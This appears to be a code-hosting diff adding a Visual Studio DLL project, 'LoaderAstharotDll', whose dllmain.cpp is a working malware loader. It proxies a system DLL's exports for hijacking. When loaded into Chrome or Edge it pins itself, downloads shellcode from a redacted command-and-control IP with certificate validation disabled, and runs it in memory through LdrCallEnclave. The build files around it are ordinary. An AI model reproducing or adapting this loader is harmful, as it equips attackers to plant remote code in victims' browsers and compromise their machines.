||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;LOADERASTHAROTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||||
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableUAC>false</EnableUAC>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h" />
|
||||||
|
<ClInclude Include="pch.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp" />
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="LoaderAstharotDll.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="framework.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="pch.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="resource.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="pch.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="LoaderAstharotDll.rc">
|
||||||
|
<Filter>Resource Files</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,253 @@
|
|||||||
|
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||||
|
// {9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <Windows.h>
|
||||||
|
//#include <wininet.h>
|
||||||
|
#include <winhttp.h>
|
||||||
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
|
#include <shlwapi.h>
|
||||||
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
|
|
||||||
|
//#pragma comment(lib, "wininet.lib")
|
||||||
|
|
||||||
|
#define PAYLOAD_EVENT_NAME L"\\RedactedEventName"
|
||||||
|
|
||||||
|
#pragma comment(linker,"/export:DllCanUnloadNow=DataExchange_orig.DllCanUnloadNow,@1")
|
||||||
|
#pragma comment(linker,"/export:DllGetActivationFactory=DataExchange_orig.DllGetActivationFactory,@2")
|
||||||
|
#pragma comment(linker,"/export:DllGetClassObject=DataExchange_orig.DllGetClassObject,@3")
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* fnLdrCallEnclave)(
|
||||||
|
PVOID Routine,
|
||||||
|
ULONG Flags,
|
||||||
|
PVOID* RoutineParamReturn
|
||||||
|
);
|
||||||
|
|
||||||
|
struct Shellcode {
|
||||||
|
byte* data;
|
||||||
|
DWORD len;
|
||||||
|
};
|
||||||
|
|
||||||
|
HANDLE hPayloadEvent = NULL;
|
||||||
|
|
||||||
|
BOOL IsTargetProcess() {
|
||||||
|
WCHAR szPath[MAX_PATH];
|
||||||
|
|
||||||
|
if (GetModuleFileNameW(NULL, szPath, MAX_PATH) == 0) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StrStrIW(szPath, L"chrome.exe") != NULL ||
|
||||||
|
StrStrIW(szPath, L"msedge.exe") != NULL) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL isPayloadRunning() {
|
||||||
|
hPayloadEvent = CreateEventW(NULL, TRUE, FALSE, PAYLOAD_EVENT_NAME);
|
||||||
|
|
||||||
|
if (hPayloadEvent == NULL) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||||
|
CloseHandle(hPayloadEvent);
|
||||||
|
hPayloadEvent = NULL;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
|
||||||
|
struct Shellcode out = { nullptr, 0 };
|
||||||
|
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
|
||||||
|
|
||||||
|
hSession = WinHttpOpen(L"redacted header identifier for C2 server", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||||
|
|
||||||
|
if (hSession)
|
||||||
|
hConnect = WinHttpConnect(hSession, host, port, 0);
|
||||||
|
|
||||||
|
if (hConnect)
|
||||||
|
hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/redactedBinaryFile", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
|
||||||
|
|
||||||
|
if (hRequest) {
|
||||||
|
DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||||
|
WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
|
||||||
|
if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
|
||||||
|
if (WinHttpReceiveResponse(hRequest, NULL)) {
|
||||||
|
|
||||||
|
DWORD dwContentLength = 0;
|
||||||
|
DWORD dwSizeOfSize = sizeof(dwContentLength);
|
||||||
|
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,
|
||||||
|
WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwSizeOfSize, WINHTTP_NO_HEADER_INDEX)) {
|
||||||
|
|
||||||
|
byte* payload = (byte*)malloc(dwContentLength);
|
||||||
|
if (payload) {
|
||||||
|
DWORD dwDownloaded = 0;
|
||||||
|
DWORD totalRead = 0;
|
||||||
|
|
||||||
|
while (totalRead < dwContentLength) {
|
||||||
|
if (!WinHttpReadData(hRequest, payload + totalRead, dwContentLength - totalRead, &dwDownloaded) || dwDownloaded == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
totalRead += dwDownloaded;
|
||||||
|
}
|
||||||
|
out.data = payload;
|
||||||
|
out.len = totalRead;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hRequest) WinHttpCloseHandle(hRequest);
|
||||||
|
if (hConnect) WinHttpCloseHandle(hConnect);
|
||||||
|
if (hSession) WinHttpCloseHandle(hSession);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
|
||||||
|
HINTERNET session = InternetOpen(
|
||||||
|
L"",
|
||||||
|
INTERNET_OPEN_TYPE_PRECONFIG,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
0);
|
||||||
|
|
||||||
|
HINTERNET connection = InternetConnect(
|
||||||
|
session,
|
||||||
|
host,
|
||||||
|
port,
|
||||||
|
L"",
|
||||||
|
L"",
|
||||||
|
INTERNET_SERVICE_HTTP,
|
||||||
|
0,
|
||||||
|
0);
|
||||||
|
|
||||||
|
HINTERNET request = HttpOpenRequest(
|
||||||
|
connection,
|
||||||
|
L"GET",
|
||||||
|
L"/test.woff",
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
0,
|
||||||
|
0);
|
||||||
|
|
||||||
|
WORD counter = 0;
|
||||||
|
while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
|
||||||
|
//printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging
|
||||||
|
|
||||||
|
counter++;
|
||||||
|
Sleep(3000);
|
||||||
|
if (counter >= 3) {
|
||||||
|
break; // HTTP requests eventually failed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bufSize = BUFSIZ;
|
||||||
|
byte* buffer = new byte[bufSize];
|
||||||
|
|
||||||
|
DWORD capacity = bufSize;
|
||||||
|
byte* payload = (byte*)malloc(capacity);
|
||||||
|
|
||||||
|
DWORD payloadSize = 0;
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
DWORD bytesRead;
|
||||||
|
|
||||||
|
if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
|
||||||
|
//printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bytesRead == 0) break;
|
||||||
|
|
||||||
|
if (payloadSize + bytesRead > capacity) {
|
||||||
|
capacity *= 2;
|
||||||
|
byte* newPayload = (byte*)realloc(payload, capacity);
|
||||||
|
payload = newPayload;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < bytesRead; i++) {
|
||||||
|
payload[payloadSize++] = buffer[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
byte* newPayload = (byte*)realloc(payload, payloadSize);
|
||||||
|
|
||||||
|
InternetCloseHandle(request);
|
||||||
|
InternetCloseHandle(connection);
|
||||||
|
InternetCloseHandle(session);
|
||||||
|
|
||||||
|
struct Shellcode out;
|
||||||
|
out.data = payload;
|
||||||
|
out.len = payloadSize;
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
BOOL executeShellcode() {
|
||||||
|
|
||||||
|
Shellcode shellcode = Download(L"redactedIP", 443);
|
||||||
|
|
||||||
|
if (shellcode.data == NULL || shellcode.len == 0) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t sShellcode = shellcode.len;
|
||||||
|
|
||||||
|
PVOID pShellcode = VirtualAlloc(NULL, sShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (pShellcode == NULL) {
|
||||||
|
free(shellcode.data);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(pShellcode, shellcode.data, sShellcode);
|
||||||
|
free(shellcode.data);
|
||||||
|
|
||||||
|
DWORD dwOldProtect = NULL;
|
||||||
|
|
||||||
|
if (!VirtualProtect(pShellcode, sShellcode, PAGE_EXECUTE, &dwOldProtect)) {
|
||||||
|
VirtualFree(pShellcode, 0, MEM_RELEASE);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (hNtdll) {
|
||||||
|
fnLdrCallEnclave pLdrCallEnclave = (fnLdrCallEnclave)GetProcAddress(hNtdll, "LdrCallEnclave");
|
||||||
|
|
||||||
|
if (pLdrCallEnclave) {
|
||||||
|
PVOID routineParam = NULL;
|
||||||
|
pLdrCallEnclave(pShellcode, 0, &routineParam);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HMODULE hModule,
|
||||||
|
DWORD ul_reason_for_call,
|
||||||
|
LPVOID lpReserved
|
||||||
|
)
|
||||||
|
{
|
||||||
|
if (ul_reason_for_call == DLL_PROCESS_ATTACH && !isPayloadRunning() && IsTargetProcess()) {
|
||||||
|
HMODULE hPinned;
|
||||||
|
GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_PIN,
|
||||||
|
(LPCWSTR)hModule, &hPinned);
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)executeShellcode, NULL, 0, NULL);
|
||||||
|
if (hThread) {
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
// Windows Header Files
|
||||||
|
#include <windows.h>
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
// pch.cpp: source file corresponding to the pre-compiled header
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
|
||||||
|
// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
// pch.h: This is a precompiled header file.
|
||||||
|
// Files listed below are compiled only once, improving build performance for future builds.
|
||||||
|
// This also affects IntelliSense performance, including code completion and many code browsing features.
|
||||||
|
// However, files listed here are ALL re-compiled if any one of them is updated between builds.
|
||||||
|
// Do not add files here that you will be updating frequently as this negates the performance advantage.
|
||||||
|
|
||||||
|
#ifndef PCH_H
|
||||||
|
#define PCH_H
|
||||||
|
|
||||||
|
// add headers that you want to pre-compile here
|
||||||
|
#include "framework.h"
|
||||||
|
|
||||||
|
#endif //PCH_H
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
//{{NO_DEPENDENCIES}}
|
||||||
|
// Microsoft Visual C++ generated include file.
|
||||||
|
// Used by LoaderAstharotDll.rc
|
||||||
|
|
||||||
|
// Next default values for new objects
|
||||||
|
//
|
||||||
|
#ifdef APSTUDIO_INVOKED
|
||||||
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||||
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
|
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||||
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
Reference in New Issue
Block a user